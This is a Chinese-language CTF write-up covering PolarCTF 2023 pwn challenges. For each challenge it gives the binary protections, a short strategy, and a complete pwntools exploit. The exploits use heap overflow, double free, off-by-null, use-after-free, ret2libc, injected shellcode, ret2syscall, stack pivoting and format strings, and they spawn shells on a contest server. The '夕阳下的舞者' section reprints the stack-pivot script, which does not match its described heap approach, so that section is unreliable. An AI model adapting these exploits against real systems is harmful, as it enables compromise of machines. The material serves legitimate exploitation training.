PolarCTF_2023_wp

First Post:

Last Update:

Word Count:
3.6k

Read Time:
19 min

Page View: loading...

PWN

记录一下 一次比赛的复盘,除了夕阳下的舞者有点难度之外,其他题目难度还适中,最后也是拿到了不错的排名!期待12月份的Polar D&N的冬季赛!

image.png

最后每道题目都有官方视频讲解,链接 【PWN】小狗汪汪汪_哔哩哔哩_bilibili

emo_chunk

程序保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

解题思路

  • 堆溢出,可以通过溢出chunk内容,从而修改下一个chunk的size字段,制造堆块重叠,将下一个chunk大小改为small chunk,这样free掉之后,会放入unsortedbin中,fd和bk都指向main_arena_88
  • 然后可以通过打印函数泄露libc地址
  • 利用fastbin的特性,向malloc_hook-0x23的位置申请chunk,覆写malloc_hook

注意一般思路是这样的,但是题目具体要使用realloc_hook来进行调栈,具体操作为改realloc_hook为onegadget,malloc_hook为realloc_hook,这样执行malloc时,会实现二级跳。malloc_hook -> realloc_hook -> onegadget

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
#p = remote('123.60.135.228',2094)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
def connect():
global p,elf,libc
p = process('./emo_chunk')
#p = remote('123.60.135.228',2064)
elf = ELF('./emo_chunk')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def cmd(xuhao):
p.recvuntil('Please Choice!\n')
p.sendline(xuhao)

def add(size):
cmd("1")
p.recvuntil('Please Input Size:\n')
p.sendline(str(size))

def delete(index):
cmd("2")
p.recvuntil('Please Input index:\n')
p.sendline(str(index))

def edit(index,content):
cmd("3")
p.recvuntil('Please Input index:\n')
p.sendline(str(index))
p.recvuntil('Change EMo Content\n')
p.send(content)

def show(index):
cmd("4")
p.recvuntil('Please Input index:\n')
p.sendline(str(index))

def exit():
cmd("5")

def debug():
gdb.attach(p)
pause()
def pwn(i,j):

heaparray = 0x6020E0
backdoor = 0x400946
free_got = elf.got['free']

#创建几个chunk
add(0x68) #0
add(0x68) #1
add(0x68) #2
add(0x68) #3
add(0x68) #4
add(0x68) #5 隔离top chunk

#泄露libc
edit(0,'a'*0x68 + '\xe1' + '\x00'*7)
delete(1)
#debug()
add(0x68) #1
show(2)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x3c4b78
print("libc_base -> ",hex(libc_base))

#计算地址
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']

one = [0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = libc_base + one[i]

delete(4)

edit(3,'a'*0x68 + p64(0x71) + p64(malloc_hook - 0x23))
#debug()

add(0x68) #4
add(0x68) #malloc 6

#思路1,将malloc_hook改成one_gadget,但是打不通
#payload = 'a'*(0x23-0x10) + p64(one_gadget)
#思路2,将realloc_hook改成one_gadget,调栈
#payload = 'a'*(0x23-0x10-0x8) + p64(one_gadget) + p64(realloc + j) #将malloc_hook修改成realloc_hook
#思路3,题目有后门,直接改malloc_hook为后门函数
payload = 'a'*(0x23-0x10) + p64(backdoor)
edit(6,payload)

add(0x68)

p.interactive()


# for i in range(4):
# for j in [2,4,6,8,10]:
# try:
# print("i :",i)
# print("j :",j)
# p = process('./emo_chunk')
# pwn(i,int(j))
# except:
# p.close()
#注释为暴力调栈,得出i = 1, j = 8

connect()
pwn(1,8)

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

double free

程序保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

解题思路

double free 可以申请任何我们想要的地址的一个chunk,进而修改内容,本题目就是修改bss段上的值为固定值,进而getshell,具体做法就是申请2个chunk,制造double ,free,形成chunk 1 -> chunk 2 <- chunk 1,修改chunk 1 的指向为目标地址,然后通过连续的malloc 4次,既可申请到目标地址,最后修改chunk内容即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./heap_Double_Free')
#p = remote('123.60.135.228',2133)
def cmd(xuhao):
p.recvuntil('root@ubuntu:~/Desktop$ ')
p.sendline(xuhao)

def create(id,size,content):
cmd("1")
p.recvuntil('please input id and size :\n')
p.sendline(str(id))
p.sendline(str(size))
p.sendline(content)

def free(id):
cmd("2")
p.sendline(str(id))

def show(id):
cmd("3")
p.sendline(str(id))

def getshell():
cmd("4")

def debug():
gdb.attach(p)

goal = 0x6010b0 #将这里的值改为 257
fd = 0x6010b0
create(0,0x68,'aaaa') #0
create(1,0x68,'bbbb') #1
#create(2,16,'cccc') #2 防止和topchunk合并
#debug()
#double free
free(0)
free(1)
free(0)
#debug()
create(3,0x68,p64(goal-0x10)) #3
create(4,0x68,'aaaa') #4
create(5,0x68,'aaaa') #5
#debug()
create(6,0x68,p64(0x101)) #6
debug()
getshell()
p.interactive()

easychunk

程序保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

解题思路

offbynull

  • 申请4个chunk,free掉chunk 0。然后编辑chunk1,覆写chunk2的prev_size为chunk0 + chun1,size低位为0,表示前面的chunk为free chunk
  • chunk 0 chunk 1 会合并,但是 chunk 1 始终存在,合并后放入了unsorted bin 中,申请一个同样大小的chunk 5收回chunk0,这样chunk 1的fd 和bk都是main_arena_88,泄露libc地址
  • 最后通过fastbin向malloc_hook-0x23申请地址,最后修改malloc_hook 为 og

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
#p = remote('123.60.135.228',2094)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
def connect():
global p,elf,libc
local = 0
if local:
p = process('./easychunk')
else:
p = remote('123.60.135.228',2114)
elf = ELF('./easychunk')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def cmd(xuhao):
p.recvuntil('Please Choice!\n')
p.sendline(xuhao)

def add(size,content):
cmd("1")
p.recvuntil('Please give me a name for item:\n')
p.sendline('aaaa')
p.recvuntil('Please Input Size:\n')
p.sendline(str(size))
p.recvuntil('Content of Emo!:\n')
p.send(content)

def delete(index):
cmd("2")
p.recvuntil('Please Input index:\n')
p.sendline(str(index))

def edit(index,content):
cmd("3")
p.recvuntil('Please Input index:\n')
p.sendline(str(index))
p.recvuntil('Change EMo Content\n')
p.send(content)

def show(index):
cmd("4")
p.recvuntil('Please Input index:\n')
p.sendline(str(index))

def exit():
cmd("5")

def debug():
gdb.attach(p)
pause()
def pwn():

dem = "hello,everyone.Welcome to:Polar D&N:"
p.recvuntil('Where are you from?\n')
p.sendline(dem)
#申请几个chunk
add(0xf8,"aaaa") #0
add(0xf8,"bbbb") #1
add(0xf8,"cccc") #2
add(0xf8,"dddd") #3

#free掉chunk0
delete(0) #0
#通过编辑chunk1溢出chunk2的size的inues位为0,注意chunk2的prevsize位为chunk0size+chunk2size
pay0 = 'a'*0xf0 + p64(0x200)
edit(1,pay0)
delete(2) #2

#泄露libc
add(0xf8,"aaaa") #0
show(1)
p.recvuntil('content:\n')
main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
#print("main_arena88",hex(main_arena))
libc_base = main_arena - 0x3c4b78
print("libc_base", hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_hook = libc_base + libc.sym['realloc']
one = [0x45226,0x4527a,0xf03a4,0xf1247]

one_gadget = libc_base + one[1]

#修改chunk1的fd改为malloc_hook - 0x23
add(0x68,b'aaa') #2->1
delete(2)
edit(1,p64(malloc_hook-0x23))

add(0x68,'aaaa') #2

payload = 'a'*(0x23-0x10-0x8) + p64(one_gadget) + p64(realloc_hook+8)
#debug()
add(0x68,payload)

cmd("1")
p.recvuntil('Please give me a name for item:\n')
p.sendline('aaaa')
p.interactive()

connect()
pwn()

# for i in range(4):
# for j in [2,4,6,8,10]:
# try:
# print("i :",i)
# print("j :",j)
# p = process('./emo_chunk')
# pwn(i,int(j))
# except:
# p.close()
#注释为暴力调栈,得出i = 1, j = 8

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

fish

程序保护

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

解题思路

函数存在gets,溢出控制返回地址为bss段上再执行一次gets。直接溢出输入system(“/bin/sh”)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
p = remote('123.60.135.228',2060)
#p = process('./fish')
context(log_level = 'debug', os = 'linux', arch = 'i386')
elf = ELF('./fish')
sys = elf.plt['system']
print(hex(sys))
get_plt = elf.plt['gets']
print(hex(get_plt))
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
bss = 0x0804A040
p.sendline("123")
payload = b'a'*0x112 + p32(get_plt) + p32(sys) + p32(bss) + p32(bss)
p.recvuntil(b'How many fish does the kitten eat\n')
p.sendline(payload)
p.sendline(b'/bin/sh')

p.interactive()

format_ret2libc

程序保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

解题思路

ret2libc

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
p = remote('123.60.135.228',2107)
#p = process('./format_ret2libc')
context(log_level = 'debug', os = 'linux', arch = 'amd64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./format_ret2libc')

puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
vuln_addr = 0x40084B
pop_rdi_ret = 0x0000000000400943

payload1 = "%39$p"
#p.recvuntil("Say some words\n")
p.sendline(payload1)
p.recvuntil("0x")
canary = int(p.recv(16), 16)
print(hex(canary))

payload2 = b"a" * (0x70-8) + p64(canary) + b"a" * 8
payload2 += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)
p.sendlineafter("What's your name?\n", payload2)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
log.info("puts_addr -> %x",puts_addr)

# libcbase = puts_addr - libc.symbols['puts']
# system_addr = libcbase + libc.symbols['system']
# binsh_addr = libcbase + next(libc.search("/bin/sh"))

# libc = LibcSearcher('puts', puts_addr)
# libcbase = puts_addr - libc.dump('puts')
# system_addr = libcbase + libc.dump('system')
# binsh_addr = libcbase + libc.dump('str_bin_sh')

libc = puts_addr - 0x06f6a0
system_addr = libc + 0x0453a0
binsh_addr = libc + 0x18ce57

payload3 = b"a" * (0x70-8) + p64(canary) + b"a" * 8
payload3 += p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)

p.sendlineafter("What's your name?\n", payload3)


p.interactive()

Game

程序保护

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

解题思路

ret2libc

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level = 'debug', os = 'linux', arch = 'amd64')

p = remote('123.60.135.228',2064)
#p = process('./Game')
elf = ELF('./Game')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
start = 0x080485F4

offset = 0x64 + 8 + 4

p.recvuntil('Do you play game?\n')
p.sendline("yes")
p.recvuntil('Do you think playing games will affect your learning?\n')
p.sendline("yes")
p.recvuntil("I think the same as you!\n")
payload = b'a'*offset + p32(puts_plt) + p32(start) + p32(puts_got)
#payload = p32(puts_got)
#gdb.attach(p)
p.sendline(payload)

p.recvuntil('\n')
puts_addr = u32(p.recv()[0:4])
log.info('puts -> %x',puts_addr)

# libc = LibcSearcher('puts', puts_addr)
# libcbase = puts_addr - libc.dump('puts')
# system_addr = libcbase + libc.dump('system')
# binsh_addr = libcbase + libc.dump('str_bin_sh')

libc = puts_addr - 0x05f150
system_addr = libc + 0x03a950
binsh_addr = libc + 0x15912b


p.recvuntil("I think the same as you!\n")
payload2 = b'a'* offset + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
p.sendline(payload2)

p.interactive()

name4

程序保护

1
2
3
4
5
6
7
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

解题思路

绕过检查的shellcode

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
p = remote('123.60.135.228',2116)
#p = process('./name4')
context(log_level = 'debug', os = 'linux', arch = 'i386')
elf = ELF('./name4')

shellcode = asm(shellcraft.sh())
p.recvuntil("Enter your name:\n")
p.sendline('\x00'+shellcode)
goal = 0x0804A0E0
goal1 = 0x0804A080 + 1
p.recvuntil('Enter your best friend name:\n')
p.sendline(shellcode)

p.recvuntil('give you stack overflow:\n')
payload = 'a'*0x20 + p32(0xdeadbeff) + p32(goal)
#gdb.attach(p)

p.sendline(payload)

p.interactive()

play

程序保护

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

解题思路

通过往bss段上写shellcode再跳转执行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
p = remote('123.60.135.228',2063)
#p = process('./play')
context(log_level = 'debug', os = 'linux', arch = 'amd64')
elf = ELF('./play')

shellcode = asm(shellcraft.sh())
p.recvuntil("I think you must enjoy playing.\n")
p.sendline(shellcode)
goal = 0x6010A0
p.recvuntil('Name your favorite game?\n')
payload = b'a'*(0x30+8) + p64(goal)
#gdb.attach(p)

p.sendline(payload)

p.interactive()

ret2syscall

程序保护

1
2
3
4
5
6
7
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

解题思路

ret2syscall 32位的执行 (0xb,0,0,binsh) 再调用80号中断

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
p = remote('123.60.135.228',2109)
#p = process('./ret2syscall_32')
context(log_level = 'debug', os = 'linux', arch = 'i386')
elf = ELF('./ret2syscall_32')

offset = 0x208 + 4
binsh_addr = 0x080EA068
pop_eax = 0x080b8576
pop_edx_ecx_ebx = 0x0806f250
int80_addr = 0x0806cea3

payload = b'a'*offset + p32(pop_eax) + p32(0xb)
payload += p32(pop_edx_ecx_ebx) + p32(0x0) + p32(0x0) + p32(binsh_addr) + p32(int80_addr)
p.sendline(payload)

p.interactive()

sleep

程序保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

解题思路

ret2libc

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
p = remote('123.60.135.228',2057)
#p = process('./sleep')
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./sleep')

puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
vuln_addr = 0x4006BD
pop_rdi_ret = 0x0000000000400783


payload2 = b"a" * (0x70+8)
payload2 += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)
p.sendlineafter("Please cherish every second of sleeping time !!!\n", payload2)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
log.info("puts_addr -> %x",puts_addr)

# libcbase = puts_addr - libc.symbols['puts']
# system_addr = libcbase + libc.symbols['system']
# binsh_addr = libcbase + next(libc.search("/bin/sh"))

# libc = LibcSearcher('puts', puts_addr)
# libcbase = puts_addr - libc.dump('puts')
# system_addr = libcbase + libc.dump('system')
# binsh_addr = libcbase + libc.dump('str_bin_sh')

libc = puts_addr - 0x06f6a0
system_addr = libc + 0x0453a0
binsh_addr = libc + 0x18ce57

payload3 = b"a" * (0x70+8)
payload3 += p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)

p.sendlineafter("Please cherish every second of sleeping time !!!\n", payload3)


p.interactive()

stackpivot_x86

程序保护

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

解题思路

栈迁移蛮有意思的,结构b’a’*padding + p64(goal) + p64(leave_ret),通过执行两次 leave ; ret 将栈迁移到目标位置

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *

#p = remote('123.60.135.228',2131)
p = process('./stack_pivotingx86')
context(log_level = 'debug', os = 'linux', arch = 'i386')
binsh = 0x0804A030
system_addr = 0x08048579
leave_ret = 0x080484d8
offset = 0xffffd028 - 0xffffcff0 #ebp距离输入地址的值

pay = b'a'*0x27 + b'b'
p.send(pay)
p.recvuntil('b')
ebp_addr = u32(p.recv(4))
print("ebp_addr -> ",hex(ebp_addr)) #泄露ebp

s_addr = ebp_addr - 0x38 #计算ebp 和 输入 的距离

pay1 = p32(0)
pay1 += p32(system_addr)
pay1 += p32(binsh)
pay1 += p32(0)
pay1 = pay1.ljust(0x28,b'\x00')
pay1 += p32(s_addr)
pay1 += p32(leave_ret)
gdb.attach(p)
p.send(pay1)
p.interactive()

夕阳下的舞者

程序保护

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

解题思路

题目主要类型为offbynull制造堆块重叠,函数结构比较复杂,需要ida逆向理清,这里提供简单思路

  • Step1:泄露libc基址。申请chunk,正常释放,大于fastbin的chunk会被放入unsortedbin中,且fd和bk均指向于main_arena_88的位置,可以获得libc基址
  • Step2:泄露堆地址。为啥泄露堆地址,因为开启了PIE,创建2个不相邻的 small chunk,释放后会放到 unsoted bin 中,通过打印函数可以泄露地址。
  • Step3:off-by-null,getshell 利用off-by-null漏洞制造堆块重叠,用fastbin去申请mallochook-0x23位置的一个chunk去修改mallochook为og

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *

#p = remote('123.60.135.228',2131)
p = process('./stack_pivotingx86')
context(log_level = 'debug', os = 'linux', arch = 'i386')
binsh = 0x0804A030
system_addr = 0x08048579
leave_ret = 0x080484d8
offset = 0xffffd028 - 0xffffcff0 #ebp距离输入地址的值

pay = b'a'*0x27 + b'b'
p.send(pay)
p.recvuntil('b')
ebp_addr = u32(p.recv(4))
print("ebp_addr -> ",hex(ebp_addr)) #泄露ebp

s_addr = ebp_addr - 0x38 #计算ebp 和 输入 的距离

pay1 = p32(0)
pay1 += p32(system_addr)
pay1 += p32(binsh)
pay1 += p32(0)
pay1 = pay1.ljust(0x28,b'\x00')
pay1 += p32(s_addr)
pay1 += p32(leave_ret)
gdb.attach(p)
p.send(pay1)
p.interactive()

test_format

程序保护

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

解题思路

格式化字符串漏洞,修改任意位置的值

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
p = remote('123.60.135.228',2121)
#p = process('./test_format')
context(log_level = 'debug', os = 'linux', arch = 'amd64')
elf = ELF('./test_format')

goal = 0x0804A030
payload = 'aaaa%8$n' + p64(goal)
p.sendline(payload)
p.interactive()

heap_Easy_Uaf

程序保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

解题思路

漏洞存在于Are()函数中,函数malloc了一个0x71大小的堆块,但是并没有清0,存在释放后使用的可能性。在之后申请了一个chunk b,chunk b的内容存在堆溢出。我这里的思路就是如果在a的上方有个大小小于0x71,释放的chunk,程序会将b申请到a的上方,这样通过堆溢出可以修改a的内容为”Flag”,官方做法是直接 将申请的b在a中,填写b的内容为Flag也可以!

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
p = remote('123.60.135.228',2094)
#p = process('./heap_Easy_Uaf')
context(log_level = 'debug', os = 'linux', arch = 'amd64')
elf = ELF('./heap_Easy_Uaf')
#heaparray = 0x602100

def cmd(xuhao):
p.recvuntil('Please Choice!\n')
p.sendline(xuhao)

def add(size,content):
cmd("1")
p.recvuntil('Please Input Size:\n')
p.sendline(str(size))
p.recvuntil('Content of Emo!:')
p.sendline(content)

def delete(index):
cmd("2")
p.recvuntil('Please Input index:\n')
p.sendline(str(index))

def edit(index,content):
cmd("3")
p.recvuntil('Please Input index:\n')
p.sendline(str(index))
p.recvuntil('Change EMo Content\n')
p.send(content)

def show(index):
cmd("4")
p.recvuntil('Please Input index:\n')
p.sendline(str(index))

def amaze(size,content):
cmd("5")
p.recvuntil('Please Input Chunk size :\n')
p.sendline(str(size))
p.recvuntil('Please Input Content : \n')
p.sendline(content)

def exit():
cmd("6")

def debug():
gdb.attach(p)
pause()


heap_ptr = 0x602100
shell=0x400A16

add(8,'aaaa') #0
add(8,'aaaa') #1
#debug()
amaze(8,'')
#debug()
delete(1)
#debug()
pay = 'a'*0x18 + p64(0x71) + "Flag"
amaze(8,pay)

p.interactive()

小狗汪汪汪

程序保护

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

解题思路

ret2text

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *

p = remote('123.60.135.228',2133)
#p = process('./woof')
context(log_level = 'debug', os = 'linux', arch = 'i386')

backdoor = 0x0804859B
p.recvuntil(b'This puppy needs to eat a few bones?\n')
payload = b'a'*(0x9+4) + p32(0x0804859B)

p.sendline(payload)
p.interactive()